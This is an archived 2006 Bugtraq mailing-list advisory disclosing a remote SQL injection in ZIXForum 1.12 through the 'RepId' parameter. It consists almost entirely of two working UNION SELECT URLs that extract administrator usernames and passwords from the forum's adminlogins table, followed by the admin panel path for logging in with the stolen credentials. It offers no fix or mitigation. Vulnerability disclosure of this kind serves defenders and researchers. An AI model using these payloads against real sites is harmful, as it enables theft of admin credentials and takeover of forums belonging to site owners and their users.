[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
ZIXForum 1.12 <= "RepId" Remote SQL Injection
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: ZIXForum 1.12 <= "RepId" Remote SQL Injection
- From: ChironeX.FleckeriX@xxxxxxxxx
- Date: 5 Sep 2006 18:19:49 -0000
################################################################################
## ##
## ©ZIXForum 1.12 <= "RepId" Remote SQL Injection ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## Credit by | Chironex Fleckeri ##
## Mail | ChironeX.FleckeriX@xxxxxxxxx ##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ##
## ##
################################################################################
##########################################################################################################################################################
#Username : http://www.target.com/path/ReplyNew.asp?RepId=-1 UNION SELECT
null,null,null,J_user,null,null,null,null,null,null,null,null FROM adminlogins #
##########################################################################################################################################################
##########################################################################################################################################################
#Password : http://www.target.com/path/ReplyNew.asp?RepId=-1 UNION SELECT
null,null,null,J_pass,null,null,null,null,null,null,null,null FROM adminlogins #
##########################################################################################################################################################
################################################################
#Admin Panel : http://www.target.com/path/theadmin/default.asp #
################################################################